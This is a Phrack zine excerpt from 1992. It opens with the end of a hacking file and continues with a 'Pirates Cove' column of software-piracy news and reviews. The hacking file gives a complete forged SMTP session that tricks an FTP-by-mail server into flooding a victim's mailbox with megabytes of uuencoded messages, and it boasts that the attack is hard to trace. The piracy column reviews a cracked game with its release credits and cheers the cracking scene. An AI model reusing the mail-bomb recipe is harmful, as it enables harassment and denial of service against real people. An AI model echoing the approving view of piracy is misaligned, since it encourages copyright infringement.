FTP mail server.
Basically, if you wanted to fool the FTP Mail Server into bombarding some
poor slob with an ungodly huge amount of mail, try doing a regular "fakemail"
on the guy, with the enclosed message packet:
> helo lycaeum.hfc.com
> mail from: <dale@opus.tymnet.com>
> rcpt to: <ftpmail@decwrl.dec.com>
> data
> Received: by lycaeum.hfc.com (5.12/3.7) id AA10992; Fri 9 Oct 92 12:00:00
> Message-Id: <230.AA11891@lycaeum.hfc.com>
> To: <listserv@brownvm.brown.edu>
> Date: Fri, 09 Oct 92 12:00:00
> Title: Hey, I don't have THAT nifty program!
>
> reply dale@opus.tymnet.com
> connect wuarchive.wustl.edu anonymous fistme@opus.tymnet.com
> binary
> get mirrors/gnu/gcc-2.3.2.tar.Z
> quit
> .
What is particularly nasty about this is that somewhere between 15 and
20 megabytes of messages are going to be dumped into this poor guy's account.
All of the files will be uuencoded and broken down into separate messages!
Instead of deleting just one file, there will be literally hundreds of messages
to delete! Obnoxious! Nearly impossible to trace, too!
Part 2: E-MAIL AROUND THE WORLD
Captain Crunch happened to make a telephone call around the world, which
could have ushered in the age of phreak enlightenment -- after all, he proved
that, through the telephone, you could "touch someone" anywhere you wanted
around the world! Billions of people could be contacted.
I undoubtedly pissed off a great number of people trying to do this e-mail
trick -- having gotten automated complaints from many hosts. Apparently, every
country has some form of NSA. This doesn't surprise me at all, I'm just
somewhat amazed that entire HOSTS were disconnected during the times I used
them for routers. Fortunately, I was able to switch computers faster than they
were able to disconnect them.
In order to send the e-mail, I couldn't send it through a direct path.
What I had to do was execute UUCP style routing, meaning I told each host in
the path to send the e-mail to the next host in the path, etc., until the last
machine was done. Unfortunately, the first machine I used for sending the
e-mail had a remarkably efficient router and resolved the fact that the target
was indeed the destination. Therefore, I re-altered the path to a machine
sitting about, oh, two feet away from it. Those two feet are meaningless in
this epic journey.
The originating host names have been altered as to conceal my identity.
However, if we ever meet at a Con, I'll probably have the real print-out of the
results somewhere and you can verify its authenticity. Regardless, most of
this same shit will work from just about any typical college campus Internet
(and even Bitnet) connected machines.
In APPENDIX A, I've compiled a list of every foreign country that I could
locate on the Internet. I figured it was relatively important to keep with the
global program and pick a series of hosts to route through that would
presumably require relatively short hops. I did this by using this list and
trial and error (most of this information was procured from the Network
Information Center, even though they deliberately went way the hell out of
their way to make it difficult to get computers associated with foreign
countries).
My ultimate choice of a path was:
lycaeum.hfc.com -- Origin, "middle" America.
albert.gnu.ai.mit.edu -- Massachusetts, USA.
isgate.is -- Iceland
chenas.inria.fr -- France
icnucevx.cnuce.cn.it -- Italy
sangram.ncst.ernet.in -- India
waseda-mail.waseda.ac.jp -- Japan
seattleu.edu -- Seattle
inferno.hfc.com -- Ultimate Destination
The e-mail address came out to be:
isgate.is!chenas.inria.fr!icnucevx.cnuce.cn.it!sangram.ncst.ernet.in!
waseda-mail.waseda.ac.jp!seattleu.edu!inferno.hfc.com!
rack@albert.gnu.ai.mit.edu
...meaning, first e-mail albert.gnu.ai.mit.edu, and let it parse the name
down a line, going to Iceland, then to France, etc. until it finally reaches
the last host on the list before the name, which is the Inferno, and deposits
the e-mail at rack@inferno.hfc.com.
This takes a LONG time, folks. Every failure toward the end took on
average of 8-10 hours before the e-mail was returned to me with the failure
message. In one case, in fact, the e-mail made it shore to shore and then came
all the way back because it couldn't resolve the last hostname! That one made
it (distance-wise) all the way around the world and half again.
Here is the final e-mail that I received (with dates, times, and numbers
altered to squelch any attempt to track me):
> Return-Path: <rack@lycaeum.hfc.com>
> Received: from sumax.seattleu.edu [192.48.211.120] by Lyceaum.HFC.Com ; 19
Dec 92 16:23:21 MST
> Received: from waseda-mail.waseda.ac.jp by sumax.seattleu.edu with SMTP id
> AA28431 (5.65a/IDA-1.4.2 for rack@inferno.hfc.com); Sat, 19 Dec 92
> 14:26:01 -0800
> Received: from relay2.UU.NET by waseda-mail.waseda.ac.jp (5.67+1.6W/2.8Wb)
> id AA28431; Sun, 20 Dec 92 07:24:04 JST
> Return-Path: <rack@lycaeum.hfc.com>
> Received: from uunet.uu.net (via LOCALHOST.UU.NET) by relay2.UU.NET with SMTP
> (5.61/UUNET-internet-primary) id AA28431; Sat, 19 Dec 92 17:24:08 -
> 0500
> Received: from sangam.UUCP by uunet.uu.net with UUCP/RMAIL
> (queueing-rmail) id 182330.3000; Sat, 19 Dec 1992 17:23:30 EST
> Received: by sangam.ncst.ernet.in (4.1/SMI-4.1-MHS-7.0)
> id AA28431; Sun, 20 Dec 92 03:50:19 IST
> From: rack@lycaeum.hfc.com
> Received: from shakti.ncst.ernet.in by saathi.ncst.ernet.in
> (5.61/Ultrix3.0-C)
> id AA28431; Sun, 20 Dec 92 03:52:12 +0530
> Received: from saathi.ncst.ernet.in by shakti.ncst.ernet.in with SMTP
> (16.6/16.2) id AA09700; Sun, 20 Dec 92 03:51:37 +0530
> Received: by saathi.ncst.ernet.in (5.61/Ultrix3.0-C)
> id AA28431; Sun, 20 Dec 92 03:52:09 +0530
> Received: by sangam.ncst.ernet.in (4.1/SMI-4.1-MHS-7.0)
> id AA28431; Sun, 20 Dec 92 03:48:24 IST
> Received: from ICNUCEVX.CNUCE.CNR.IT by relay1.UU.NET with SMTP
> (5.61/UUNET-internet-primary) id AA28431; Sat, 19 Dec 92 17:20:23
> -0500
> Received: from chenas.inria.fr by ICNUCEVX.CNUCE.CNR.IT (PMDF #2961 ) id
> <01GSIP122UOW000FBT@ICNUCEVX.CNUCE.CNR.IT>; Sun, 19 Dec 1992 23:14:29 MET
> Received: from isgate.is by chenas.inria.fr (5.65c8d/92.02.29) via Fnet-EUnet
> id AA28431; Sun, 19 Dec 1992 23:19:58 +0100 (MET)
> Received: from albert.gnu.ai.mit.edu by isgate.is (5.65c8/ISnet/14-10-91);
> Sat, 19 Dec 1992 22:19:50 GMT
> Received: from lycaeum.hfc.com by albert.gnu.ai.mit.edu (5.65/4.0) with
> SMTP id <AA28431@albert.gnu.ai.mit.edu>; Sat, 19 Dec 92 17:19:36 -0500
> Received: by lycaeum.hfc.com (5.65/4.0) id <AA11368@lycaeum.hfc.com>;
> Sat, 19 Dec 92 17:19:51 -0501
> Date: 19 Dec 1992 17:19:50 -0500 (EST)
> Subject: Global E-Mail
> To: rack@inferno.hfc.com
> Message-id: <9212192666.AA11368@lycaeum.hfc.com>
> Mime-Version: 1.0
> Content-Type: text/plain; charset=US-ASCII
> Content-Transfer-Encoding: 7bit
> X-Mailer: ELM [version 2.4 PL5]
> Content-Length: 94
> X-Charset: ASCII
> X-Char-Esc: 29
>
> This Electronic Mail has been completely around the world!
>
> (and isn't even a chain letter.)
===============================================================================
APPENDIX A:
List of Countries on the Internet by Root Domain
(I tried to get a single mail router in each domain. The domains that don't
have them are unavailable at my security clearance. The computer is your
friend.)
.AQ New Zealand
.AR Argentina atina.ar
.AT Austria pythia.eduz.univie.ac.at
.BB Barbados
.BE Belgium ub4b.buug.be
.BG Bulgaria
.BO Bolivia unbol.bo
.BR Brazil fpsp.fapesp.br
.BS Bahamas
.BZ Belize
.CA Canada cs.ucb.ca
.CH Switzerland switch.ch
.CL Chile uchdcc.uchile.cl
.CN China ica.beijing.canet.cn
.CR Costa Rica huracan.cr
.CU Cuba
.DE Germany deins.informatik.uni-dortmund.de
.DK Denmark dkuug.dk
.EC Ecuador ecuanex.ec
.EE Estonia kbfi.ee
.EG Egypt
.FI Finland funet.fi
.FJ Fiji
.FR France inria.inria.fr
.GB England
.GR Greece csi.forth.gr
.HK Hong Kong hp9000.csc.cuhk.hk
.HU Hungary sztaki.hu
.IE Ireland nova.ucd.ie
.IL Israel relay.huji.ac.il
.IN India shakti.ernet.in
.IS Iceland isgate.is
.IT Italy deccnaf.infn.it
.JM Jamaica
.JP Japan jp-gate.wide.ad.jp
.KR South Korea kum.kaist.ac.kr
.LK Sri Lanka cse.mrt.ac.lk
.LT Lithuania ma-mii.lt.su
.LV Latvia
.MX Mexico mtec1.mty.itesm.mx
.MY Malaysia rangkom.my
.NA Namibia
.NI Nicaragua uni.ni
.NL Netherlands sering.cwi.nl
.NO Norway ifi.uio.no
.NZ New Zealand waikato.ac.nz
.PE Peru desco.pe
.PG New Guinea ee.unitech.ac.pg
.PH Philippines
.PK Pakistan
.PL Poland
.PR Puerto Rico sun386-gauss.pr
.PT Portugal ptifm2.ifm.rccn.pt
.PY Paraguay ledip.py
.SE Sweden sunic.sunet.se
.SG Singapore nuscc.nus.sg
.TH Thailand
.TN Tunisia spiky.rsinet.tn
.TR Turkey
.TT Trinidad & Tobago
.TW Taiwan twnmoe10.edu.tw
.UK United Kingdom ess.cs.ucl.ac.uk
.US United States isi.edu
.UY Uruguay seciu.uy
.VE Venezuela
.ZA South Africa hippo.ru.ac.za
.ZW Zimbabwe zimbix.uz.zw
===============================================================================
APPENDIX B:
Basic SMTP Commands
> HELO <hostname> Tells mail daemon what machine is calling. This
will be determined anyway, so omission doesn't mean
anonymity.
> MAIL FROM: <path> Tells where the mail came from.
> RCPT TO: <path> Tells where the mail is going.
> DATA Command to start transmitting message.
> QUIT Quit mail daemon, disconnects socket.
> NOOP No Operation -- used for delays.
> HELP Gives list of commands -- sometimes disabled.
> VRFY Verifies if a path is valid on that machine.
> TICK Number of "ticks" from connection to present
("0001" is a typical straight connection).
===============================================================================
APPENDIX C:
BIT-FTP Help File
ftpmail@decwrl.dec.com (Digital FTP mail server)
Commands are:
reply <MAILADDR> Set reply address since headers are usually
wrong.
connect [HOST [USER [PASS]]] Defaults to gatekeeper.dec.com, anonymous.
ascii Files grabbed are printable ASCII.
binary Files grabbed are compressed or tar or both.
compress Compress binaries using Lempel-Ziv encoding.
compact Compress binaries using Huffman encoding.
uuencode Binary files will be mailed in uuencoded
format.
btoa Binary files will be mailed in btoa format.
ls (or dir) PLACE Short (long) directory listing.
get FILE Get a file and have it mailed to you.
quit Terminate script, ignore rest of mail message
(use if you have a .signature or are a
VMSMAIL user).
Notes:
-> You must give a "connect" command (default host is gatekeeper.dec.com,
default user is anonymous, default password is your mail address).
-> Binary files will not be compressed unless "compress" or "compact"
command is given; use this if at all possible, it helps a lot.
-> Binary files will always be formatted into printable ASCII with "btoa" or
"uuencode" (default is "btoa").
-> All retrieved files will be split into 60KB chunks and mailed.
-> VMS/DOS/Mac versions of uudecode, atob, compress and compact are
available, ask your LOCAL wizard about them.
-> It will take ~1-1/2 day for a request to be processed. Once the jobs has
been accepted by the FTP daemon, you'll get a mail stating the fact that
your job has been accepted and that the result will be mailed to you.
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume Four, Issue Forty-One, File 5 of 13
Pirates Cove
By Rambone
Welcome back to Pirates Cove. News about software piracy, its effects, and the
efforts of the software companies to put and end to it are now at an all time
high. Additionally, there is an added interest among the popular media towards
the other goings-on in the piracy underworld. Additionally over the past few
months there have been several major crackdowns around the world. Not all of
the news is terribly recent, but a lot of people probably didn't hear about it
at the time so read on and enjoy.
If you appreciate this column in Phrack, then also be sure to send a letter to
"phracksub@stormking.com" and let them know. Thanks.
_______________________________________________________________________________
More Than $100,000 In Illegal Software Seized
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
WASHINGTON -- (BUSINESS WIRE) -- Illegal software valued in excess of $100,000
was seized from an electronic bulletin board computer system (BBS)
headquartered in Baltimore, Maryland, marking the first U.S. case for the
Business Software Alliance (BSA) against a BBS for pirating software.
The BSA previously initiated an enforcement campaign against illegal bulletin
boards in Europe and is investigating illegal boards in Asia. As part of the
U.S. seizure, more than $25,000 worth of hardware was confiscated in accordance
with the court order, and the BBS, known as the APL, is no longer in operation.
Investigations conducted over the past several months found that, through the
APL BBS, thousands of illegal copies have been made of various software
programs. Plaintiffs in the case include six business software publishers:
ALDUS, Autodesk, LOTUS Development, MICROSOFT, NOVELL, and WordPerfect. The
action against APL was for allegedly allowing BBS users to upload and download
copyrighted programs.
Nearly 500 software programs were available for copying through the APL BBS, an
infringement of software publishers' copyright. In addition, BSA seized APL's
business records which detail members' time on the BBS and programs uploaded
and/or copied. BSA is currently reviewing these records for possible
additional legal action against system users who may have illegally uploaded or
downloaded copyrighted programs.
"Electronic bulletin boards create increasingly difficult problems in our
efforts to combat piracy," according to Robert Holleyman, president of the BSA.
"While bulletin boards are useful tools to enhance communication channels, they
also provide easy access for users to illegally copy software," Holleyman
explained.
Strict federal regulations prohibit the reproduction of copyrighted software.
Legislation passed this year by the U.S. Congress contains provisions to
increase the penalties against copyright infringers to up to five years
imprisonment and a $250,000 fine.
The APL investigation, conducted by Software Security International on behalf
of the BSA, concluded with a raid by Federal Marshals on October 1, 1992. In
addition to the six business software publishers, the BSA action was taken on
behalf of Nintendo.
Bulletin boards have grown in popularity over the past several years, totaling
approximately 2000 in the United States alone. Through a modem, bulletin board
users can easily communicate with other members. The BSA has recently stepped
up its worldwide efforts to eradicate the illegal copying of software which
occurs on some boards.
The BSA is an organization devoted to combating software theft. Its worldwide
campaign encompasses education, public policy, and enforcement programs in more
than 30 countries. The members of the BSA include: ALDUS, APPLE COMPUTER,
Autodesk, LOTUS Development, MICROSOFT, NOVELL, and WordPerfect.
The BSA operates an Anti-piracy Hotline (800-688-2721) for callers seeking
information about software piracy or to report suspected incidents of software
theft.
CONTACT: Diane Smiroldo, Business Software Alliance, (202)727-7060
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Only The Beginning
~~~~~~~~~~~~~~~~~~
The bust of APL BBS had made unprecedented impacts in the pirate world because
of the implications behind the actual arrest. Business Software Alliance
(BSA), representing many major business software companies along with Nintendo,
joined forces to hit APL very hard. They joined forces to permanently shut
down APL and are, for the first time, trying to pursue the users that had an
active role in the usage of the BBS.
Trying to figure out who had uploaded and downloaded files through this BBS and
taking legal recourse against them is a very strong action and has never been
done before. One of the major problem I see with this is how do they know if
what the records show was the actual user or someone posing as another user?
Also, how could they prove that an actual program was downloaded by an actual
user and not by someone else using his account? What if one user had logged on
one time, never called back, and someone else had hacked their account? I'm
also sure a sysop has been known, on occasion, to "doctor" someone's account to
not allow them to download when they have been leeching.
The points I bring up are valid as far as I am concerned and unless the Secret
Service had logs and phone numbers of people actually logged on at the time, I
don't see how they have a case. I'm sure they have a great case against the
sysop and will pursue the case to the highest degree of the law, but if they
attempt to arrest users, I foresee the taxpayers' money going straight down the
drain.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
BSA Hits Europe
~~~~~~~~~~~~~~~
The Business Software Alliance reached their arms out across the Atlantic and
landed in Germany. Along with Interpol and the local police, they proceeded to
take down 80% of the boards in Berlin. One of the contributing factors in
these busts was that the majority of the boards busted were also involved in
toll fraud. Until recently, blue boxing was the predominate means of
communication with the United States and other countries in Europe. When most
of these sysops were arrested, they had been actively blue boxing on a regular
basis. Unfortunately, many parts of Germany had already upgraded their phone
system, and it became very risky to use a blue box. It didn't stop most people
and they soon became easy targets for Interpol. The other means of LD usage
for Germans was AT&T calling cards which now are very common. The local police
along with the phone company gathered months of evidence before the city wide
sweep of arrests.
The busts made a bigger impact in Europe than anyone would have imagined. Some
of the bigger boards in Europe have been taken down by the sysops and many will
never go back up. Many sysops have been arrested and fined large amounts of
money that they will be paying off for a long time. BSA, along with local
police and Interpol, has done enough damage in a few days that will change
European Boards for a long time.
_______________________________________________________________________________
IBM: Free Disks For The Taking
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In a vain effort to increase sales, IBM decided to send out 21 high density
diskettes to anyone who called. On these diskettes was a new beta copy of OS/2
Version 2.1. They were hoping to take a cheap way out by sending a few out to
people who would install it and send in beta reports. What they got was
thousands of people calling in when they heard the word who were promptly Fed
Ex'ed the disks overnight. The beta was not the concern of most, just the
diskettes that were in the package. The actual beta copy that was sent out was
bug ridden anyway and was not of use on most systems.
When IBM finally woke up and figured out what was going on, they had already
sent out thousands of copies. Some even requested multiple copies. IBM then
proceeded to charge for the shipment and disks, but it was way too late, and
they had gone over budget. Way to go IBM, no wonder your stock has plummeted
to $55 a share.
_______________________________________________________________________________
Users Strike Back At U.S. Robotics
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Since 1987, U.S. Robotics (USR) has been a standard among sysops and many end
users. With the loyal following also came terrible customer service and long
delays in shipments. Their modems, being in as much demand as they are, soon
showed the results of shortcuts in the manufacture of certain parts in some of
the more popular modems. The most infamous instance of this happening was the
Sportster model which was a V.32bis modem which could be bought at a much lower
price than that of the Dual Standard. The catch was that they cut some corners
and used that same communication board for both the Sportster and the Dual
Standard. They assumed they could save money by using the same board on both
modems. Boy were they wrong.
All that was done to the Sportster was to disable the HST protocol that would
make it into a Dual. With the proper init string, one could turn a Sportster,
ROM version 4.1, into a full Dual in the matter of seconds and have spent 1/3
of the price of a full Dual Standard.
This outraged USR when they found out. They first denied that it could be
done. When they found out that it had gotten too wide-spread and could not be
stopped, they then proceeded to tell the public it was a copyright infringement
to use the "bogus" init string and threatened to sue anyone who attempted to
use it. Most people laughed at that idea and continued to use it while giving
"the bird" to USR. Some vendors are now even trying to make a buck and sell
Sportsters at a higher price, and some are even selling them as Duals.
Obviously, they have now discontinued making the Sportsters the cheap way and
are now making two separate boards for both modems. The versions with the ROM
4.1 are still floating around, can be found almost anywhere, and will always
have the capabilities to be run as a full Dual. Better watch out though. The
USR police might come knocking on your door <g>.
_______________________________________________________________________________
Warez Da Scene?
~~~~~~~~~~~~~~~
Over the last 6 months there have been several changing of hands in the major
pirate groups. One person who supplies them has bounced to 3 groups in the
last four months. One group fell apart because of a lack of support from the
major members, but is making a valiant comeback. And yet another has almost
split into two like AT&T stock. We'll have to see what comes of that.
While only about 15% or so actually doing anything for the scene, the other 85%
seem to complain and bitch. Either the crack doesn't work or someone forgot to
put in the volume labels. Jesus, how much effort does it take to say, "Hey,
thanks for putting this out, but...". The time and effort it takes to acquire
the program, check to see if it needs to be cracked, package it, and have it
sent out to the boards is time- and money-consuming and gets very little
appreciation by the majority of the users around the world.
Why not see some users send in donations to the group for the appreciation it
takes to send the files out? Why not see more users volunteer to help courier
the programs around? Help crack them? Make some cheats, or type of some docs?
Be a part of the solution instead of the problem. It would create less
headaches and gain more respect from the members who take the time and effort
to make this all possible.
_______________________________________________________________________________
Review Of The Month
~~~~~~~~~~~~~~~~~~~
I usually type up a review of the best program I have seen since the last
issue, but since I was so disappointed with this game, I have to say something
about it.
___________________________________________________________________________
| |
| RELEASE INFORMATION |
|___________________________________________________________________________|
| |
| Supplied by : ACTION MAN & MUNCHIE ...................................... |
| Cracked by : HARD CORE ................................................. |
| Protection : Easy Password ............................................. |
| Date : 16th December 1992 (Still 14 days left!) .................. |
| Graphics : ALL ....................................................... |
| Sound : ALL ....................................................... |
| Game Size : 5 1.44Mb disks , Installation from floppies ............... |
|___________________________________________________________________________|
One of the most awaited games of the year showed up at my doorstep, just
itching to be installed: F15-]I[. I couldn't wait to get this installed on
the hard drive and didn't care how much space it took up. I was informed
during installation that the intro would take up over 2 megs of hard drive
space, but I didn't care. I wanted to see it all. Once I booted it and saw
the intro, I thought the game would be the best I had seen. Too bad the other
8 megs turned out to be a waste of hard drive space.
I started out in fast mode, getting right up in the skies. Too bad that's the
only thing on the screen that I could recognize. Zooming down towards the
coast, I noticed that it looked damn close to the land and, in fact, it might
as well have been. The ocean consist of powder blue dots and had almost the
same color consistency as the land. Not finding anything in the air to shoot
at, I proceeded to shoot a missile at anything that I thought would blow up.
This turned out to be just about everything, including bridges. Let a few
gunshots loose on one and see a large fireworks display like you dropped a
nuclear bomb on it.
Close to 3 hours later, I finally found a jet, got it into my sights and shot 3
missiles at it. A large explosion, another one, and then he flew past me
without even a dent showing. I shot my last 2 at it, same result. Thus my
conclusion: the Russians must have invincible planes. Either that or F-15 ]I[
has some major bugs. I'll take a wild guess and say, hmm, bugs.
This game is not worth the box it comes in and I would not suggest anyone,
outside of a blind person, from purchasing this. I hate ratings but I'll give
it a 2/10. The 2 is for modem play, which is not bad, but not good enough.
_______________________________________________________________________________
Piracy's Illegal, But Not The Scourge It's Cracked Up To Be August 9, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By T.R. Reid and Brit Hume (Chicago Tribune)(Page 7)
The software industry has embarked on one of its periodic public relations
campaigns to get people to believe it's being robbed blind by software pirates.
Even The New York Times took the claims seriously and ran a front-page story
illustrated by a picture of a cheerful computer hacker wearing a Hawaiian shirt
sitting in his basement surrounded by PCs and awash in piles of disks, many of
them containing bootleg programs.
With a straight face, the Times reported the industry's claim that in 1990, the
last year for which figures are available, programs worth $2.4 billion were
pirated, an amount equal to nearly half the industry's total sales of $5.7
billion. In fact, the software industry has no way of knowing how much it lost
to illegal copying, but the $2.4 billion figure is almost certainly rot.
Here's why.
It is true that it's a snap to make an "illegal" copy of a computer program and
equally true that the practice is rampant. You just put a disk in the drive,
issue the copy command, and the computer does the rest.
But there is simply no way the software industry can estimate accurately how
many illegal copies there are, and even if it could, it couldn't possibly
determine how many of them represent lost sales. It does not follow that every
time somebody makes a bootleg copy, the industry loses a sale. That would be
true only if the software pirate would have paid for the program had he or she
not been able to get it for free.
Indeed, some of those illegal copies undoubtedly lead to actual sales. Once
users try a program, particularly a full-scale application such as a word
processor or database, and like it, they may decide they need the instruction
book and want to be able to phone for help in using the program.
The only way to get those things is to buy the software. If that sounds
pie-in-the-sky, consider that an entire branch of the industry has developed
around just that process. It's called shareware -- software that is offered
free to try. If you like it, you are asked to buy it. In return, you get a
bound manual and telephone support.
The word processor with which this column was written, PC-Write, is such a
program. So is the telecommunications program by which it was filed, ProComm.
These programs were both developed by talented independent software developers
who took advantage of the unprecedented opportunity the personal computer
provided them. All they needed was a PC, a desk, a text editor and a special
software tool called a "compiler." A compiler translates computer code written
in a language such as Basic, C or Pascal into the binary code that the computer
can process.
Once they had written their programs, they included a set of instructions in a
text file and a message asking those who liked the software to pay a fee and
get the benefits of being a "registered" user. They then passed out copies to
friends, uploaded them to computer bulletin boards and made them available to
software libraries. Everyone was encouraged to use the software -- and to pass
it on.
The ease with which the programs can be copied was, far from a problem for
these developers, the very means of distribution. It cost them nothing and
they stood to gain if people thought their program good enough to use. And
gain they have. Both PC-Write and ProComm have made a lot of money as
shareware, and advanced versions have now been released through commercial
channels.
The point here is not that it's okay to pirate software. It's not, and it's
particularly dishonest to use a stolen program for commercial purposes. The
practice of buying one copy for an entire office and having everybody copy it
and use the same manual is disgraceful. Software may be expensive, but it's a
deductible business expense and worth the price.
At the same time, it's not such a bad thing to use an unauthorized copy as a
way of trying out a program before you buy it. The shareware industry's
success has proved that can even help sales.
_______________________________________________________________________________
No Hiding From The Software Police October 28, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By Elizabeth Weise (The Seattle Times)(Page B9)(Associated Press)
One call to the Piracy Hotline is all it takes for the Software Police to come
knocking at your computers. Parametrix Inc. of Seattle found that out last
year when the Software Police, also known as the Software Publishers
Association, showed up with a search warrant and a U.S marshal to audit their
computers. The search turned up dozens of copies of unauthorized software
programs and meant a penalty of $350,000 for Parametrix.
The SPA says too many companies "softlift" -- buying only one copy of a program
they need and making copies for as many computers as they have.
It seems so easy -- and it's just as easy to get caught.
"It only takes one phone call to the 800 number to get the ball rolling.
Anyone taking that chance is living on borrowed time," said Peter Beruk,
litigation manager for the Washington D.C.-based SPA. "You can run, but you
can't hide." And the stakes are getting higher. A bill is before President
Bush that would elevate commercial software piracy from a misdemeanor to a
felony. The law would impose prison terms of up to five years and fines of up
to $250,000 for anyone convicted for stealing at least 10 copies of a program,
or more than $2,500 worth of software.
Those in the computer industry say softlifting will be hard to prevent unless
programmers are better policed. AutoDesk Retail Products in Kirkland has met
obstacles in educating its staff on the law. AutoDesk makes computer-assisted
drawing programs. "The problem is that you end up employing people who don't
want to follow convention," AutoDesk manager John Davison said. "We hire
hackers. To them it's not stealing, they just want to play with the programs.
"You got a computer, you got a hacker, you got a problem." Bootlegging results
in an estimated loss of $2.4 million to U.S. software publishers each year,
Beruk said. That's out of annual sales of between $6 billion and $7 billion.
"For every legal copy of a program sold, there's an unauthorized copy of it in
use on an everyday basis," Beruk said. As SPA and its member companies see it,
that's theft, plain and simple.
SPA was founded in 1984. One of its purposes: to enforce copyright
infringement law for software manufacturers. Since then it has conducted 75
raids and filed about 300 lawsuits, Beruk said. Several of the larger raids
have been in the Northwest. The SPA settled a copyright lawsuit against
Olympia-based U.S. Intelco for $50,000 in May. Last year, the University of
Oregon Continuation Center in Eugene, Oregon, agreed to pay $130,000 and host a
national conference on copyright law and software use as part of a negotiated
settlement with SPA. The tip-off call often comes to SPA's toll-free Piracy
Hotline. It's often disgruntled employees, or ex-employees, reporting that the
company is running illegal copies of software programs, Beruk said.
At Parametrix, an investigation backed up the initial report and SPA got a
search warrant, Beruk said. President Wait Dalrymple said the company now does
a quarterly inventory of each computer. The company brings in an independent
company once a year to check for unauthorized programs.
Softlifting, Dalrymple said, can be an easy tangle to get into. "Our company
had had extremely rapid growth coupled with similar growth in the number of
computers we use," he said. "We had no policy regarding the use of our
software and simply didn't control what was happening."
Making bootleg copies of software is copyright infringement, and it's as
illegal -- and as easy -- as copying a cassette tape or a video tape. The
difference is in magnitude. A cassette costs $8, a video maybe $25, while
computer programs can cost hundreds and even thousands of dollars. Audio and
video tapes come with FBI warnings of arrest for illegal copying. Software
comes with a notice of copyright penalties right on the box. But despite such
threats, softlifting isn't taken seriously, said Julie Schaeffer, director of
the Washington Software Association. "It's really in the same arena of
intellectual property," Schaeffer said. "But people don't think about the
hours and hours of work that goes into writing a program."
The Boeing Co. in Seattle is one company that tries hard not to break the law.
It has a department of Software Accountability, which monitors compliance with
software licensing.
AutoDesk resorts to a physical inventory of the software manuals that go with a
given program. If programmers don't have the manuals in their work cubicles,
they can be fined $50.
The SPA itself said the problem is more one of education than enforcement.
"Because copying software is so easy and because license agreements can be
confusing, many people don't realize they're breaking the law," the SPA said.
Feigning ignorance of the law doesn't help. With Microsoft products, a user is
liable as soon as the seal on a package of software is broken. "At that point
you've agreed to Microsoft's licensing agreement under copyright law,"
Microsoft spokeswoman Katy Erlich said. "It says so right on the package."
_______________________________________________________________________________
Teenage Pirates and the Junior Underworld December 11, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Justin Keery (The Independent)(Page 31)
"By the end of the year, any schoolboy with
a computer who wants Sex will get it."
The first print-run of 100,000 copies of Madonna's Sex has sold out. A further
120,000 will be printed before Christmas, and bookshops have ordered every last
one. But parents beware... around 5,000 school children have their own copy,
and the number is growing rapidly as floppy disks are circulated in
playgrounds.
Viewing the disk edition on a computer reveals television-quality images from
the book -- the text, it seems, is deemed superfluous. In disk form the
pictures can be copied and traded for video games, credibility or hard cash in
a thriving underground marketplace. By the end of the year, any schoolboy with
a computer who wants Sex will get it. The unlucky will catch a sexually
transmitted disease in the process -- the Disaster Master virus, found on the
Independent's copy.
Sex is a special-interest area in the thriving junior underworld of software
trading. Circulation of Madonna's pictures among minors with neither the
budget nor the facial hair to buy Sex gives Madonna's publishers little cause
to fear loss of sales. Neither Secker & Warburg in London nor Time-Warner in
New York knew of the unofficial digital edition. But the publishers of
computer video games have much to lose from playground transactions.
Sex is not doing a roaring trade, said one schoolboy trader. Video games, with
price-tags of up to pounds 40, are what every child wants, but few can afford.
But who needs to buy, when your classmates will trade copies of the latest
titles for another game, a glimpse of Madonna or a humble pound coin?
Games disks are usually uncopyable. Skilled programmers "crack" the
protection, as an intellectual challenge and a way of gaining respect in an
exclusive scene, add "training" options such as extra lives, and post this
version on a computer bulletin board -- a computer system attached to a
telephone line where people log in to trade their "wares".
Most bulletin boards (BBSs) are friendly places where computer freaks exchange
tips, messages and "public domain" programs, made available by their authors
free of charge. But illegitimate operators, or SysOps, look down on "lame"
legal boards, and "nuke" any public domain material submitted to their systems.
The larger pirate boards are the headquarters of a cracking group -- often in a
15-year-old's bedroom. There are perhaps 100 in Britain. Cracked games and
"demos" publicize phone numbers, and a warning is issued that copyright
software should not be posted --a disclaimer of questionable legality. New
members are asked if they represent law enforcement agencies. According to a
warning message on one board, at least one BBS in the United States is operated
by the FBI.
Your account at a board may not allow you to download until you upload wares of
sufficient quality. Games are considered old after a week, so sexy images,
"demos" or lists of use to hackers are an alternative trading commodity.
Available this week, as well as Madonna, are: "lamer's guide to hacking PBXs",
"Tex" and "Grapevine" -- disk magazines for pirates; and demos -- displays of
graphical and sound programming prowess accompanied by bragging messages,
verbal assaults on rival factions and advertisements for BBSs. According to a
former police officer, the recipes for LSD and high explosives have circulated
in the past.
The board's "download ratio" determines how many disks are traded for every
contribution -- usually two megabytes are returned for every megabyte
contributed. "Leech accounts" (unlimited access with no quotas) are there for
those foolish enough to spend between pounds 1 and pounds 60 per month. But
children can sign on using a pseudonym, upload a "fake" -- garbage data to
increase their credit -- then "leech" as much as possible before they get
"nuked" from the user list.
The "modem trader" is a nocturnal trawler of BBSs, downloading wares, then
uploading to other boards. Current modem technology allows users to transfer
the contents of a disk in 10 minutes. A "card supplier" can provide a stolen
US or European phone credit card number. The scene knows no language barriers
or border checks, and international cross-fertilization adds diversity to the
software in circulation.
Through the unsociable insomniac trader, or the wealthier "lamer" with a paid-
up "leech account," games reach the playground. The traders and leeches gain
extra pocket money by selling the disks for as little as pounds 1, and from
there the trade begins.
Some market-traders have realized the profit potential, obtaining cracked
software through leech accounts and selling the disks on stalls. Sold at a
pocket-money price of pounds 1 per disk, many games reach schools. The trading
of copyright software is illegal but the perpetrators stand little chance of
getting caught and are unlikely to be prosecuted.
The victims, software houses, suffer real damage. Sales of Commodore Amiga
computers equal the dedicated games machines -- the Sega Megadrive or Nintendo,
yet sales of Amiga games (on disk and therefore pirate fodder) often reach only
